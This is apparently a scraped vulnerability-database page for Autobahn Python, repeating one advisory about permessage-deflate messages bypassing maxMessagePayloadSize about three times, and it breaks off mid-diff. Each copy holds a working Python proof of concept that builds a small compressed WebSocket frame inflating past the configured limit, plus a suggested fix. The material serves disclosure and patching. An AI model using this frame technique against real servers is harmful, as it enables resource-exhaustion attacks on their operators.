--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Dec 18, 2025

22.6.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jul 05, 2022

22.5.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jun 02, 2022

22.4.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
